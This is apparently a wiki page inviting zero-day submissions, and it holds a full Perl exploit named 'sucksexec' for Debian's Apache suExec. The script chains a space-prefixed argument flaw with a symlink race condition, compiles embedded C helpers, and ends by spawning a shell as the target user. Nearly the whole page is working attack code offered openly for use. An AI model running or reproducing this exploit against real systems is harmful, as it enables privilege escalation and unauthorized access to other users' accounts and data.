0days
From What The Wiki?!
Exploiting for fame @WTH, publish your 0day exploit here.... :)
#!/usr/bin/perl
# sucksexec - suExec exploit for debian - dreyer (luna@aditel.org)
#
# Affects all Debian's apache being >= 1.3.9 (2.x unaffected)
#
# What you need (lot 'o things...):
#
# 1) apache privileges (can be obtained with mod_php , mod_perl, etc)
# 2) suexec installed as suid root
# 3) target user & group with public_html dir owned by them (>UID_MIN)
# (>GID_MIN)
# 4) Binary in the system owned by that same user & group
# 5) perl & gcc
# 6) some other checks done by suexec... ~/public_html accesible,not
# writable by others etc...
# 7) Patience (you can improve how the attack is done though)
#
# See /var/log/apache/suexec.log in case it does not work for you
#
# What you will obtain:
#
# * Being able to execute whatever binary you want with the privileges
# of the target user.
#
# Flaw appears on the patch submitted for debian bug #47951 (1999!)
# It was supossed to give the posibility of executing binaries
# with parameters in SSI extensions through suexec.
# Details: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=47951
#
# Also a race condition that exists in the common suexec is exploited
# After all the checks are done, finally, the program is executed,
# so we have a small time window to replace the binary being executed.
#
# Thanks to first vulnerability you can execute commands ( if 4) ) as
# target user outside the ~/public_html "jail" :
# $ id
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
# $ cd ~user/public_html
# $ /usr/lib/apache/suexec.disabled "~user" "group" " /home/user/bin/wget"
# ^--- notice space
# wget: missing URL
# Usage: wget [OPTION]... [URL]...
#
# Try `wget --help' for more options.
#
# Mixing previous flaw and the race condition(TOCTOU) we can execute
# whatever command we want if the requirements are met.
#
# zeroday-zeroday-zeroday-zeroday
# Saludos a la gente de !dSR ;)
# Proof of concept
#########################################
# Special public release at WTH 2005! Enjoy!
#####################################################
use Fcntl ':mode';
#Configuration
###############
#Attack Specific
#Target User and group will be acquired from this file
$valid_cmd="/home/me/bin/wget";
#System Globals
$www_dir="public_html";
$suexec="/usr/lib/apache/suexec.disabled";
#Grsec notice: when attacking a grsec-ured machine
# this has to be changed to /tmp/something and that dir
# created before running this script.
$tmp="/tmp";
$linkdir="$tmp/petete";
$mydir="$tmp/petete2";
############################
$arg=$ARGV[0];
if ($arg eq "shell") {
&shell();
exit(1);
}
################
#MAIN
####################
(my($uid_own,$gid_own)=(stat($valid_cmd))[4,5]) ||
muere("[-] $!($valid_cmd)\n");
if($uid_own<1000) {
muere("[-] Target user has uid<1000 ($uid_own)\n");
}
if($gid_own<100) {
muere("[-] Target group has gid<100 ($gid_own)\n");
}
my($target_user,$target_home)=(getpwuid($uid_own))[0,7];
(my($wuid_own,$wgid_own)=(stat("$target_home/$www_dir"))[4,5]) ||
muere("[-] $!($target_home/$www_dir)\n");
if($uid_own!=$wuid_own || $gid_own!=$wgid_own) {
muere("[-] Owner or group of $valid_cmd and $target_home/$www_dir differ. ($uid_own/$gid_own) != ($wuid_own,$wgid_own)\n");
}
my($target_group)=getgrgid($gid_own);
$tdir=$valid_cmd;
$tdir=~ s/\/[^\/]+$//;
($tprog)=($valid_cmd=~ /\/([^\/]+)$/);
$mylogname=(getpwuid($>))[0];
if($mylogname ne 'www-data') {
muere("[-] You are not www-data, try to obtain this first. (i.e. mod_php)\n");
}
if(@st=stat($suexec)) {
muere("[-] $suexec is not setuid root\n") unless(!$st[4] && $st[2]&S_ISUID);
} else {
muere("[-] $! ($suexec)\n");
}
#Exec code should execute phase2
$exec_code=<<ENDOFC;
int main() {
setreuid(geteuid(),geteuid());
execlp("$mydir/s.pl","shell","shell",(char *)0);
}
ENDOFC
$race_code=<<ENDOFC;
int main() {
int a;
while(1) {
unlink("$linkdir");
symlink("$tdir","$linkdir");
a++;
unlink("$linkdir");
symlink("$mydir","$linkdir");
}
}
ENDOFC
print "\033[1;33msucksExec\033[0m (exploit for debian's suexec)\n";
print "\033[1;32m dreyer\033[0m\n";
print "[*] Setting up...\n";
&prepare();
#Functions
###############
sub muere {
my($msg)=@_;
print "$msg";
print "[-] Aborted!\n";
exit(1);
}
sub prepare {
mkdir("$mydir",0711) || die $!;
system("chmod go+w $mydir;cp $0 $mydir/s.pl;chmod 755 $mydir/s.pl");
chdir($mydir);
system("echo \'$race_code\' > a1.c;gcc -o race a1.c;chmod a+rx race");
system("echo \'$exec_code\' > a2.c;gcc -o $tprog a2.c;chmod a+rx $tprog");
#Check suid here
if(!($child=fork())) {
print "[*] Executing race condition helper\n";
exec "./race";
}
print "[*] Current privileges => uid=$>(". ((getpwuid($>))[0]) .")\n";
print "[*] Going through phase1...\n";
&phase1_www();
print "[*] Cleaning...\n";
kill 9,$child;
unlink($linkdir);
&clean();
}
sub clean {
if(chdir($mydir)) {
unlink("a1.c");
unlink("a2.c");
unlink("s.pl");
unlink("race");
unlink("$tprog");
chdir("..");
rmdir("$mydir");
}
}
sub phase1_www {
chdir($target_home);
chdir($www_dir);
print "[*] suExec loop\n";
while (stat("$mydir/s.pl")) {
system(qq=nice -20 $suexec "~$target_user" "$target_group" " $linkdir/$tprog"=);
}
print "[*] Done!\n";
}
sub shell {
&clean();
print "\n[*] Race condition worked!\n";
print "[*] Do not forget to delete $linkdir and $mydir !\n";
print "[*] Enjoy your new shell => uid=$>(" . ((getpwuid($>))[0]) .")\n";
exec "/bin/sh";
}
